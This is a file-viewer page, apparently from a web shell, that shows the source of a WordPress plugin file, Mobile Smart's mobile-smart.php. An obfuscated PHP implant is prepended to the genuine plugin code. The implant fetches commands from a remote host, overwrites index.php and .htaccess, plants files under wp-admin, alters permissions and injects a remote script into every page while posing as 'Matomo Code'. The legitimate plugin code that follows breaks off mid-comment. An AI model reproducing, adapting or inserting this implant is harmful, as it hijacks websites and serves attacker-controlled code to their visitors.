0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
smallnotebookcomputers.org
/
wp-content__d9c9c01
/
plugins
/
mobile-smart
/
[
Home
]
File: mobile-smart.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* Plugin Name: Mobile Smart Plugin URI: http://www.dansmart.co.uk/downloads/ Version: v1.3.16 Author: <a href="http://www.dansmart.co.uk/">Dan Smart</a> Description: Mobile Smart contains helper tools for mobile devices + switching mobile themes. <a href="/wp-admin/options-general.php?page=mobile-smart.php">Settings</a> determination of mobile device type or tier in CSS and PHP code, using detection by Mobile ESP project. */ /* Copyright 2011 Dan Smart (email : dan@dansmart.co.uk) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * Attributation: * - Detection performed by MobileESP project code (www.mobileesp.com) * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ // ------------------------------------------------------------------------- // Defines // ------------------------------------------------------------------------- define('MOBILESMART_DOMAIN', 'mobilesmart'); define('MOBILESMART_PLUGIN_PATH', WP_PLUGIN_DIR . '\mobile-smart'); // MAIN DEVICES (for more, see lib/mdetect.php which can be detected directly) define ('MOBILE_DEVICE_OPERA_MINI', 'operamini'); define ('MOBILE_DEVICE_IPHONE', 'iphone'); define ('MOBILE_DEVICE_IPAD', 'ipad'); define ('MOBILE_DEVICE_IPOD', 'ipod'); define ('MOBILE_DEVICE_ANDROID', 'android'); define ('MOBILE_DEVICE_ANDROID_WEBKIT', 'android_webkit'); define ('MOBILE_DEVICE_ANDROID_TABLET', 'android table'); define ('MOBILE_DEVICE_SERIES60', 'series_60'); define ('MOBILE_DEVICE_SYMBIAN_OS', 'symbian_os'); define ('MOBILE_DEVICE_WINDOWS_MOBILE', 'windows_mobile'); define ('MOBILE_DEVICE_WINDOWS_PHONE_7', 'windows_phone_7'); define ('MOBILE_DEVICE_BLACKBERRY', 'blackberry'); define ('MOBILE_DEVICE_BLACKBERRY_TABLET', 'blackberry_tablet'); define ('MOBILE_DEVICE_BLACKBERRY_WEBKIT', 'blackberry_webkit'); define ('MOBILE_DEVICE_BLACKBERRY_TOUCH', 'blackberry_touch'); define ('MOBILE_DEVICE_PALM_OS', 'palm_os'); define ('MOBILE_DEVICE_OTHER', 'other_mobile'); // TIERS define ('MOBILE_DEVICE_TIER_TOUCH', 'mobile-tier-touch'); define ('MOBILE_DEVICE_TIER_TABLET', 'mobile-tier-tablet'); define ('MOBILE_DEVICE_TIER_RICH_CSS', 'mobile-tier-rich-css'); define ('MOBILE_DEVICE_TIER_SMARTPHONE', 'mobile-tier-smartphone'); define ('MOBILE_DEVICE_TIER_OTHER', 'mobile-tier-other-mobile'); // MANUAL SWITCHING define ('MOBILESMART_SWITCHER_GET_PARAM', 'mobile_switch'); define ('MOBILESMART_SWITCHER_MOBILE_STR', 'mobile'); define ('MOBILESMART_SWITCHER_DESKTOP_STR', 'desktop'); define ('MOBILESMART_SWITCHER_COOKIE', 'mobile-smart-switcher'); define ('MOBILESMART_SWITCHER_COOKIE_EXPIRE', 3600); // 3600 define ('MOBILESMART_SWITCHER_DOMAIN_SWITCH', 'domain_switch'); define ('MOBILESMART_SWITCHER_DOMAIN_SWITCH_DOMAIN', 'mobile_domain'); // SOME DUMMY TIER SCREEN DIMENSIONS FOR TRANSCODING IMAGES define ('MOBILE_DEVICE_TIER_TOUCH_MAX_WIDTH', 300); define ('MOBILE_DEVICE_TIER_TOUCH_MAX_HEIGHT', 400); define ('MOBILE_DEVICE_TIER_TABLET_MAX_WIDTH', 1024); define ('MOBILE_DEVICE_TIER_TABLET_MAX_HEIGHT', 768); define ('MOBILE_DEVICE_TIER_RICH_CSS_MAX_WIDTH', 300); define ('MOBILE_DEVICE_TIER_RICH_CSS_MAX_HEIGHT', 400); define ('MOBILE_DEVICE_TIER_SMARTPHONE_MAX_WIDTH', 200); define ('MOBILE_DEVICE_TIER_SMARTPHONE_MAX_HEIGHT', 250); define ('MOBILE_DEVICE_TIER_OTHER_MAX_WIDTH', 100); define ('MOBILE_DEVICE_TIER_OTHER_MAX_HEIGHT', 150); // ------------------------------------------------------------------------- // Includes // ------------------------------------------------------------------------- require_once('lib/mdetect.php'); require_once('mobile-smart-switcher-widget.php'); // ------------------------------------------------------------------------- // Plugin Class // ------------------------------------------------------------------------- if (!class_exists("MobileSmart")) { class MobileSmart extends uagent_info { // ------------------------------------------------------------------------- // Attributes // ------------------------------------------------------------------------- var $admin_optionsName = "MobileSmartOptions"; var $admin_options = array('mobile_theme'=>'default', 'enable_theme_switching'=>true); var $device = ''; // current device var $device_tier = ''; // current device tier var $switcher_cookie = null; var $detectmobile = false; var $detect_from_domain = false; var $detect_from_cookie = false; // ------------------------------------------------------------------------- // Methods // ------------------------------------------------------------------------- // ------------------------------------------------------------------------- // Method: Constructor // ------------------------------------------------------------------------- function __construct() { // init parent constructor parent::uagent_info(); // translations load_plugin_textdomain(MOBILESMART_DOMAIN); if (isset($_COOKIE[MOBILESMART_SWITCHER_COOKIE])) { $this->switcher_cookie = $_COOKIE[MOBILESMART_SWITCHER_COOKIE]; //echo "Construct cookie: $this->switcher_cookie<br/><br/>"; } } // ------------------------------------------------------------------------- // Method: initialisePlugin // Description: WP initialisation of the plugin // ------------------------------------------------------------------------- function initialisePlugin() { // initialise the admin options $this->addAdminOptions(); } // ------------------------------------------------------------------------- // Method: addAdminOptions // Description: add the options // ------------------------------------------------------------------------- function addAdminOptions() { add_option($this->admin_optionsName, $this->admin_options); } // ------------------------------------------------------------------------- // Method: getAdminOptions // Description: gets the admin panel options // ------------------------------------------------------------------------- function getAdminOptions() { // get the options from WP $wp_options = get_option($this->admin_optionsName); // if already existing data if (!empty($wp_options)) { // populate our adminOptions with wp options foreach($wp_options as $key=>$wp_option) { $this->admin_options[$key] = $wp_option; } } // update WP update_option($this->admin_optionsName, $this->admin_options); return $this->admin_options; } /** * shorthand function to get option value by key * * @access public * @param mixed 